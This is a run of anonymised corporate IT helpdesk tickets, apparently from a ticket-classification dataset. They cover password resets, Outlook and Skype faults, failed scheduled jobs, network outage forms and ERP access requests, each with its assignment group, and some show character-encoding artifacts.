summary:i need help downloading a uacyltoe hxgaycze application, can someone take over my screen and help me out?, is assigned to Assignment group: GRP\_0.Ticket with Short description: subbathykrisyuhnyrt shhuivashankar company provided phone activation, Description: subbathykrisyuhnyrt shhuivashankar company provided phone activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_867618, Description: ticket update on inplant\_867618, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access easyterritory map view builder, Description: unable to access easyterritory map view builder, is assigned to Assignment group: GRP\_22.Ticket with Short description: crm : voucher - email resend issue, Description: when attempting to email a voucher following the standard procedure, i enter the email address and press "send email" and the page goes completely blank. i then need to resign onto SID\_39, and the email has not been sent.\_x000D\_
\_x000D\_
please review and correct aerp., is assigned to Assignment group: GRP\_15.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: passwort geoyhurg chriuimjiann, Description:
received from: nsoikcyf.jhybqael@gmail.com
bitte schalten sie meine passwÃ¶rter frei.
plase unlook my password
chrithysgd
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: external recipient is unable to share screen with internal company employees during pstn conference call, Description: external recipient is unable to share screen with internal company employees during pstn conference call\_x000D\_
\_x000D\_
error message: all company users saw a message that read something like "presentation failed since the presenter has left the meeting" even though he was still in the meeting. we agreed to end the meeting once and re-join but the issue didn't go away.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: general query , Description: general query , is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkbackup\_tool\_HostName\_770\_prod\_inc failed in job\_scheduler at: 10/07/2016 11:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_770\_prod\_inc failed in job\_scheduler at: 10/07/2016 11:48:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: need converion tool : export a pdf into excel. , Description:
summary:hello,
i saw on pdf options that it's possible to export a pdf into excel.
do you know who can i contact in company to get this conversion tool?
, is assigned to Assignment group: GRP\_33.Ticket with Short description: browser issue : etime: flash player issue/addin issue , Description: browser issue : etime: flash player issue/addin issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to skype, Description: unable to sign in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp changing order qty issue, Description: please look at sale order 36112082 csr zektaqof cgxlqtiz released order from workflow and the qty went from 1pc to 12,047,279pcs showing csr changed the qty csr did not change qty please review possible issue maybe wf batch issue, is assigned to Assignment group: GRP\_13.Ticket with Short description: uacyltoe hxgaycze, Description: uacyltoe hxgaycze, is assigned to Assignment group: GRP\_12.Ticket with Short description: ticket update inplant\_867508, Description: ticket update inplant\_867508, is assigned to Assignment group: GRP\_0.Ticket with Short description: excel keeps exiting, Description: excel keeps exiting, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update mileage details. site not loading., Description: unable to update mileage details. site not loading., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_1 password reset, Description: erp SID\_1 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meetings, Description: \_x000D\_
\_x000D\_
received from: dlougnqw.jiuybxew@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
can you please assist me with getting the skype meetings back up and running for me? it came up before but i no longer have the option.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issue ; personal certificate error , Description: skype issue ; personal certificate error , is assigned to Assignment group: GRP\_0.Ticket with Short description: pos data update - september 2016, Description:
from: navdgtya kuhyakose
sent: friday, october 07, 2016 7:37 pm
to: htsnaodb adjtmlzn
cc: petgvwch zevpkogu; khfgharla mwdjuli; vthuzanc fqdgotvx; rzucjgvp ioqjgmah; nawkpdtx gwcvmbhn
subject: pos - septemer '16
hi karghyuen,
i have compared the pos data between crm and bi for september '16 and the data are in sync.
i will run the programdnty on 10/10 to update the table zcp002.
crm bi
count of mandt sum of toengineering\_tool sum of counter sum of total distributor cost
225 82,043.48 225 82,043.48
, is assigned to Assignment group: GRP\_15.Ticket with Short description: unable to access vpn, Description: unable to access vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool etime issue , Description: hr\_tool etime issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: error : windows 7 build 7601 this copy of windows is not genuine., Description: error : windows 7 build 7601 this copy of windows is not genuine.
for next 2 weeks he will be in usa.
contact : , is assigned to Assignment group: GRP\_3.Ticket with Short description: audio issue in skype, Description: audio issue in skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: please allow access for using printer in india office., Description: please allow access for using printer in india office.\_x000D\_
\_x000D\_
please refer the attachment , is assigned to Assignment group: GRP\_19.Ticket with Short description: please to provide access to solman environment - user vvamrtryot., Description: please to provide access to solman environment, solman SID\_51 (production) for the user vvamrtryot.\_x000D\_
he need this access to open requests for theses charms 8111118319 and 8111118310.\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: engineering\_tool installation , Description: engineering\_tool installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not opening, Description: outlook not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise // gso, Description: blank call // loud noise // gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to see workflow in erp SID\_34, Description: unable to see workflow in erp SID\_34, is assigned to Assignment group: GRP\_13.Ticket with Short description: anleitung fuer password\_management\_tool, Description: anleitung fuer password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: can't access to hr\_tool etime, Description:
received from: zywoxerf.paqxtrfk@gmail.com
dear help desk:
i can't access to hr\_tool etime, see below:
error 500!
the page you are trying to reach is not available. an internal server error was raised.
x. jdamieul fandyhgg
senior staff engineer
zywoxerf.paqxtrfk@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working : webpages not loading , Description: wifi not working : webpages not loading , is assigned to Assignment group: GRP\_0.Ticket with Short description: delay in presenting the cal on the polycom phone, Description: when a call comes in, its first presented on the computer screen and only a few sec later the phone starts ringing.\_x000D\_
the time between is around 5 sec., is assigned to Assignment group: GRP\_7.Ticket with Short description: user's manager's manager pointing wrongly to vtykrubi whsipqno, Description: examples given: shesyhur reports to davidthd and davidthd should be reporting to chukhyt and not ron. like wise, managing\_director should be reporting.
this only happened to records being updated today. see attached screenshots., is assigned to Assignment group: GRP\_40.Ticket with Short description: call from vendor about crm, Description: call from vendor about crm, is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze, Description: uacyltoe hxgaycze, is assigned to Assignment group: GRP\_36.Ticket with Short description: handscanner an pc evhw8114202 ohne funktion -> rep. oder ersetzen;, Description: handscanner an pc evhw8114202 ohne funktion -> rep. oder ersetzen (pc in halle c bei r208 erp terminal), is assigned to Assignment group: GRP\_33.Ticket with Short description: i can't get logged into outlook. the problem started thursday, october 6 around 430 pm. reichlhdyl, Description:
usa
skype is working.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue - not authorized for transaction vf02 in SID\_1, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1\_x000D\_
\_x000D\_
enter user id of user having the issue: hellej\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: vf02\_x000D\_
\_x000D\_
describe the issue: i'm not authorized for transaction vf02 in SID\_1. please find attached the error message.\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user: maryhtutina bauuyternfeyt, is assigned to Assignment group: GRP\_2.Ticket with Short description: please reset the password., Description: please reset the password., is assigned to Assignment group: GRP\_7.Ticket with Short description: job Job\_488 failed in job\_scheduler at: 10/07/2016 06:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_488 failed in job\_scheduler at: 10/07/2016 06:59:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pc defekt, Description: empw 8111616 01/14 defekt. code: 0x000000ed blue screen, is assigned to Assignment group: GRP\_33.Ticket with Short description: crm buttons, Description: i have recently upgraded our calendar / outlook to the crm software upgrade. i do not have the "track" and "set regarding" toolbar selections as seen in the snap shot below. so the install did not complete. i need the server side synchronization of incoming emails corrected and the crm application permissions for my 2in1. if that is not correct and you believe it to be another issue let me know. \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
this is not a phone issue. thus is a notebook or 2in1 issue. please review the snap shots i sent in and advise.\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: network outage:russia, engineering\_toolkuznetsk site is down at 6:41 am et on 10/07. , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_6:41 am et on 10/07. \_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_na\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_na\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2049a failed in job\_scheduler at: 10/07/2016 06:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2049a failed in job\_scheduler at: 10/07/2016 06:05:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: install drucker we17\ewew8323647\hnyeajrw ctxjsolz, Description: install drucker we17\ewew8323647\hnyeajrw ctxjsolz, is assigned to Assignment group: GRP\_24.Ticket with Short description: install drucker we17\ewew8323646\lxfnwyuv bqmjyprz, Description: install drucker we17\ewew8323646\lxfnwyuv bqmjyprz, is assigned to Assignment group: GRP\_24.Ticket with Short description: printing language sa38 (reporting rfumsv00), Description: please complete all required questions below.
if not, it will be returned back to the gsc / requester to provide required information
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.
â€¢ printer name / make - model? kq02 (hp laserjet p3005x)
â€¢ detailed description of the problem ? wrong carahcters printing reporting rfumsv00. error message "pjl enter language=pcl"
â€¢ type of documents not printing? sa38 - reporting rfumsv00 - tax on sls/purch.advanced return
â€¢ what system or application being used at time of the problem? erp
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? it prints, but with wrong language (characters)
â€¢ if erp system, which system? SID\_34
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? no, i tried in another erp printer, issue persits the same.
what printer can it be rerouted too? not applicable
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket. (file attached)
sÃ³nia pereira
accounting and report analyst, finance
ojhiaubp.lovgirtm@gmail.com
, is assigned to Assignment group: GRP\_33.Ticket with Short description: kindly install software paint shop and winzip, Description: kindly install software paint shop and winzip, is assigned to Assignment group: GRP\_28.Ticket with Short description: install drucker we17 \oziflwma nhgvmqdl, Description: install drucker we17 \oziflwma nhgvmqdl, is assigned to Assignment group: GRP\_24.Ticket with Short description: benÃ¶tige eine zahlenblock-tastatur fÃ¼r linke hand., Description: hallo .
benÃ¶tige eine zahlenblock-tastatur fÃ¼r linke hand.
, is assigned to Assignment group: GRP\_24.Ticket with Short description: EU\_tool lÃ¤uft sehr langsam im werk germany. rÃ¼ckmeldungen kÃ¶nnen nicht mehr eingegeben werden (laufzeitfehler)., Description: aktuell kÃ¶nnen keine rÃ¼ckmeldungen in EU\_tool eingegeben werden. fehler "laufzeitfehler"., is assigned to Assignment group: GRP\_25.Ticket with Short description: stocktransfer goes not mm 5112324, Description: \_x000D\_
\_x000D\_
received from: mgahlpwx.jwtfpaxh@gmail.com\_x000D\_
\_x000D\_
hello at all\_x000D\_
\_x000D\_
istÂ´s not possible to create the delivery note\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d2208b.07571691]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_2063a failed in job\_scheduler at: 10/07/2016 05:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063a failed in job\_scheduler at: 10/07/2016 05:08:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: ethics webportal login issue, Description: not able login to ethics website, please find the screenshot for the same and kindly help regarding this issue, , is assigned to Assignment group: GRP\_0.Ticket with Short description: pulverleitstand and chargenverwaltung doesn't work corectly, Description: pulverleitstand and chargenverwaltung doesn't work correctly. either it runs very slow or it crashes down. there are error messages all the time.\_x000D\_
EU\_tool also runs very slow., is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/07/2016 04:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/07/2016 04:32:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_512 failed in job\_scheduler at: 10/07/2016 04:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_512 failed in job\_scheduler at: 10/07/2016 04:14:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: automatische datenaufbereitung qa geht nicht, Description: automatische datenaufbereitung geht nicht, is assigned to Assignment group: GRP\_33.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:germany: company-eu-deu-erkheim-dmvpn-2821-rtr01 is down since 2:59:20 am et on 10/7/2016., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_2:59:20 am et on 10/7/2016 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_no\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_no\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook is not working, Description: \_x000D\_
\_x000D\_
received from: krilnmcs.chpkeyqb@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
\_x000D\_
yesterday i started outlook in the morning.\_x000D\_
\_x000D\_
\_x000D\_
as every morning it started very quick but when i tryed to open a mail i received a white screen. i tried several new computer starts but nothing changed.\_x000D\_
\_x000D\_
\_x000D\_
so i decided to work via collaboration\_platform and i'm doing this right now as well because today i had the same negative result with outlook (start was quick and that's it, no chance to read an email or write one).\_x000D\_
\_x000D\_
\_x000D\_
please have alook into this matheywter because working via collaboration\_platform i sless comfortable and slowing down.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: dba team the imwveudk mykcourx processor has stopped again, please restart!, Description: dba team. the job processor at the engg application has stopped again. please restart as soon as possible.
dmqxwkfr olmwqzpu
, is assigned to Assignment group: GRP\_58.Ticket with Short description: plant plant\_197/ EU\_tool system is running very slowly/ big problems to enter the productions plans, Description: plant plant\_197/ EU\_tool system is running very slowly/ big problems to enter the productions plans, is assigned to Assignment group: GRP\_25.Ticket with Short description: abend job bkwin\_tax\_interface\_qa\_daily, Description: job name:bkwin\_tax\_interface\_qa\_daily, is assigned to Assignment group: GRP\_8.Ticket with Short description: purchasing, online katalog de-technischer handel funkioniert nicht, Description: purchasing, online katalog de-technischer handel funkioniert nicht, is assigned to Assignment group: GRP\_0.Ticket with Short description: routing fix in germany, Description: please add a static route on the lan switch in germany to ensure access to the shop floor network is not disrupted during downtime of the vpn router.\_x000D\_
\_x000D\_
company-eu-deu-germany-emsw27-3750e-core-sw01#\_x000D\_
conf t\_x000D\_
ip route 10.16.56.0 255.255.252.0 10.16.32.40\_x000D\_
exit\_x000D\_
copy running-config startup-config\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: need access, Description:
received from: tcbonyes.gpfacron@gmail.com
hello,
i need an access to email address to modify as and when required. please provide me the access for below mentioned mailing addressâ€¦..
k-bnthygl-pdu6-hdjm-er
k-bhrtty-pdlc4-yhhm-er
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: hrt archive jobs are failing, Description: hrt archive jobs are failing with error \_x000D\_
ora-28000: the account is locked\_x000D\_
br0310w connect to database instance hrt failed, is assigned to Assignment group: GRP\_1.Ticket with Short description: job bkwin\_tax\_interface\_dev\_daily failed in job\_scheduler at: 10/06/2016 22:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_tax\_interface\_dev\_daily failed in job\_scheduler at: 10/06/2016 22:32:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 10/06/2016 20:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 10/06/2016 20:57:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ticket update on inplant\_867391, Description: ticket update on inplant\_867391, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot extract finance\_app data - pls resolve immediately, Description:
received from: uagqromi.sqgtkmci@gmail.com
[cid:image001.png@01d22075.f8d4be00]
uagqromi sqgtkmci
controller
uagqromi.sqgtkmci@gmail.com<mailto:uagqromi.sqgtkmci@gmail.com>
<
[cid:image002.png@01d22075.f8d4be00]
æœ¬é€šä¿¡ã¯è¨˜è¼‰ã•ã‚ŒãŸäººç‰©ã®ã¿ã‚’å¯¾è±¡ã¨ã—ã¦ä½¿ç”¨ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã€ç‰¹æ¨©çš„ã‹ã¤æ©Ÿå¯†æƒ…å ±ã‚’å«ã¿ã€é©ç”¨ã•ã‚Œã‚‹æ³•å¾‹ã«åŸºã¥ã„ãŸæƒ…å ±é–‹ç¤ºã‹ã‚‰é™¤å¤–ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã¾ã™ã€‚æ­£å½“ãªå—å–äººä»¥å¤–ã®ã„ã‹ãªã‚‹ç¬¬ä¸‰è€…ã«ã‚ˆã‚‹æœ¬é€šä¿¡ã®é…å¸ƒã€æµé€šã€å†è²©ã¯å›ºãç¦ã˜ã‚‰ã‚Œã¦ã„ã¾ã™ã€‚ã¾ãŸæœ¬é€šä¿¡ãŒèª¤ã£ã¦é€ä¿¡ã•ã‚ŒãŸå ´åˆã¯ã€é€ä¿¡è€…ã«é€£çµ¡ã®ä¸Šã€æœ¬é€šä¿¡ã‚’å‰Šé™¤ã—ã¦ãã ã•ã„ã€‚
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_55.Ticket with Short description: unable to install crm for outlook, Description: unable to install crm for outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_867380, Description: ticket update on inplant\_867380, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2881 failed in job\_scheduler at: 10/06/2016 18:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2881 failed in job\_scheduler at: 10/06/2016 18:06:00, is assigned to Assignment group: GRP\_13.Ticket with Short description: outlook programdnty takes about 30 min to load, Description: outlook programdnty takes about 30 min to load, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset to login to hub , Description: password reset to login to hub , is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to folder , Description: \_x000D\_
\_x000D\_
received from: umdyvbxo.qwzstijr@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need access to quality folder in lan-d2 drive of usa.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: engineering tool page not opening, Description: engineering tool page not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: analysis add-in keeps getting removed, Description: analysis add-in keeps getting removed, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out : ad, Description: account locked out : ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: sales order 36112960 generated a 10/13 delivery date despite the order being markhtyed for 2nd day air.why?, Description: nibaotpy vmxathog
, is assigned to Assignment group: GRP\_13.Ticket with Short description: erp SID\_1 account unlock, Description: erp SID\_1 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage :usa-dmvpn-1811-rtr01 is down since 10/6/2016 1:43 pm. primary is up., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo 60 mins\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_10/6/2016 1:43 pm.\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: please can you unlock the user vvamrtryot on the environment SID\_21 again?, Description: please can you unlock the user vvamrtryot on the environment SID\_21 again?\_x000D\_
seems is still locked there, only in SID\_21, for all other everything is fine., is assigned to Assignment group: GRP\_0.Ticket with Short description: request: team viewer, Description: \_x000D\_
\_x000D\_
received from: sthyuraj.sektyhar@company.com\_x000D\_
\_x000D\_
need to access a pc that does not have skype\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: hpqc uacyltoe hxgaycze installation , Description: hpqc uacyltoe hxgaycze installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: change in offline cache mode in outlook to 12 months, Description: change in offline cache mode in outlook to 12 months, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp closes when opening attachment in md04, Description: erp closes when opening attachment in md04, is assigned to Assignment group: GRP\_0.Ticket with Short description: purchasing purchasing-add user to the purchasingupstreamsso ad group , Description: when i log in to purchasing and choose company catalog, the window never loads up., is assigned to Assignment group: GRP\_29.Ticket with Short description: erp SID\_1 : password reset , Description: erp SID\_1 : password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: ms dynamics not synched in outlook, Description: ms dynamics not synched in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue with outlook profile and skype for business ugyothfz ugrmkdhx ambals, Description: i was having issues opening outlook and skype for business and reached out to pc services to investigate on this issue. , is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to login to erp and distributor\_tool, Description: unable to login to erp and distributor\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update : inplant\_867204, Description: ticket update : inplant\_867204, is assigned to Assignment group: GRP\_0.Ticket with Short description: 4908206193/00001 dn required by 2 oclock est, Description: \_x000D\_
\_x000D\_
received from: kaguhxwo.uoyipxqg@gmail.com\_x000D\_
\_x000D\_
it team,\_x000D\_
please create dn for 5019317204/00001 warehouse today before they cut off time. , is assigned to Assignment group: GRP\_6.Ticket with Short description: installation of skype, Description: installation of skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: nda emails are not getting sent, Description: ramdnty, i think the workflows need looked at on the nda,, there are several ttemplates not working. as a note, during the outage on tuesday several workflows lost their settings. i had to redo a few. that may be the case with the nda/, is assigned to Assignment group: GRP\_16.Ticket with Short description: job Job\_1387 failed in job\_scheduler at: 10/06/2016 11:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1387 failed in job\_scheduler at: 10/06/2016 11:53:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: adding user dinthyesh <achthyardk> to distribution group : -ethyxekirty ; -etyhumpdil , Description: adding user dinthyesh <achthyardk> to distribution group : -exekirty ; -empkirty , is assigned to Assignment group: GRP\_0.Ticket with Short description: software to read the text from the scanned pages., Description: software to read the text from the scanned pages., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view subject option in outlook, Description: unable to view subject option in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype call join ends up in bad call or blanks out during multiple attempts, Description: skype call join ends up in bad call or blanks out during multiple attempts, is assigned to Assignment group: GRP\_26.Ticket with Short description: no login options in erp, Description: after netweaver installing it is not possible to log in to erp 740.
user name: nagdyiyst, is assigned to Assignment group: GRP\_0.Ticket with Short description: passwort geoyhurg chriuimjiann , Description: \_x000D\_
\_x000D\_
received from: nsoikcyf.jhybqael@gmail.com\_x000D\_
\_x000D\_
bitte passwort und acount freischalten\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: sykpe does not work, Description: skype does not log me on when i turn on the computer. Phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: user account not in validity date., Description: unable to login to erp SID\_1. error: user account not in validity date., is assigned to Assignment group: GRP\_2.Ticket with Short description: issues, Description: \_x000D\_
\_x000D\_
